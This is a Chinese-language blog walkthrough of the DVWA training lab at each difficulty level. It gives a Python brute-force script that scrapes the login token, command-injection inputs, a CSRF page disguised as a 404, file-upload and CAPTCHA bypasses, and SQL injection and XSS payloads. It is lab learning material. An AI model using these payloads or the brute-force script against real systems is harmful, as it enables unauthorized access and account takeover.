DVWA

Brute Force:

low 和 medium方法相同,用burp抓包跑字典

 

 

 

 

high中还包含了token,每次提交前都会验证token,用脚本抓取token验证

from bs4 import BeautifulSoup
import requests

header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0',
          'Cookie': 'security=high; PHPSESSID=fn3or2mr1ko05411p3l173s172'}

url = 'http://192.168.5.135/DVWA/vulnerabilities/brute/'


def get_token(url, headers):
    # 获取token信息
    r = requests.get(url, headers=header)
    # print(r.status_code, end=' ')
    html = r.content.decode()
    # print(len(html), end=' ')
    soup = BeautifulSoup(html, 'html.parser')
    user_token = soup.form.find_all('input')[3]['value']
    return user_token


if __name__ == '__main__':
    u = get_token(url, header)
    # print(u)
    i = 0
    for line in open('D:/1/weak password.txt'):
        # 打开本地字典文件

        password = line.strip()
        username = 'admin'
        payload = {'username': username, 'password': password, 'Login': 'Login', 'user_token': u}
        # 设置payload信息

        response = requests.get(url, params=payload, headers=header)
        print(i + 1, username, password, len(response.content.decode()))
        u = get_token(url, header)
        i += 1

 

 

 

Command Injection:

low:

127.0.0.1&&ipconfig

127.0.0.1&ipconfig

x|ipconfig

x||ipconfig

 

medium:

127.0.0.1&ipconfig

x|ipconfig

 

high:

127.0.0.1|ipconfig

 

CSRF:

low:修改密码后将短链接修改为其他密码,编辑页面诱导已登录的用户点击以达到修改密码的目的

<body>
<img src="http://192.168.5.135/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file not found</h2>
</body>

 

medium:

该处判断了Referer

此处可以将页面改名为目标的 ip.html 将页面放在本地服务器中去访问目标页面

 

 

high:

可以编写获取token的页面,在提交页面时用hidden方式提交,诱导其点击页面

 

File Inclusion:

low:

可以直接访问目标服务器的文件

 

medium:

在遇到过滤时可以用双写或大小写绕过

 

high:

浏览器访问有http https file 三种协议,这里用file:/// 来访问目标服务器文件

 

File Upload:

low:

直接上传php代码文件,返回路径后直接执行

 

medium:

可以先将代码文件修改后缀.jpg,上传时再抓包改为.php后缀或

直接上传.php文件,抓包修改 Content-Type:image/jpeg 就能上传成功

 

high:

copy test.jpg/b + x.php/a qwe.jpg

上传含有php代码的jpg文件,利用文件包含漏洞去访问上传的文件以执行php代码

 

 

Insecure CAPTCHA:

low:

这里将step设置为2就能跳过验证码

 

 

 medium:

修改post

step=2&password_new=test&password_conf=test&Change=Change&passed_captcha=true

 

high:

查看源代码只要让User-Agent 和 g-recaptcha-response对比的结果为真就能绕过验证码

 

 

SQL Injection:

先手注看是否有注入点,如果有注入点上sqlmap爆库

low:

判断注入类型和注入点

字符型注入playload

'and 1#

 

medium:

数字型注入playload

and 1#

 

high:

方法同low级别

 

 

SQL Injection (Blind):

盲注要点在于使用二分法判断结果来提高爆库的效率

方法与基本注入方法相同,先找到注入点,然后跑sqlmap

 

 

XSS:

low:

闭合前后的标签加上<script>alert('xss');</script>,弹窗显示

 

medium:

这里过滤了<script>,用<img 标签

闭合前后标签中间加上<img src=1 onerror=alert('xss')>

这里不光要闭合前面的<option>还要闭合前面的<select>

 

high:

payload:

?default=English #<script>alert(/xss/)</script>

 

xss不管是DOM型、反射型还是存储型,他们的核心思想都是闭合前后的标签

其次再是弹窗的方法。最常见的弹窗的方法有<script>、<img src=1 onerror=>等

 

 

CSP Bypass:

在网络中找到该页面信任的网站

 

 前往该网站打上xss,将xss页面输入到输入框就能执行jsp代码

 

 

JavaScript:

提交phrase参数的时候还包含一个token,查看源码,token=md5(rot13(phrase))

转换token值一并提交即可

 

posted @ 2020-08-02 21:07  f1veseven  阅读(208)  评论(0编辑  收藏  举报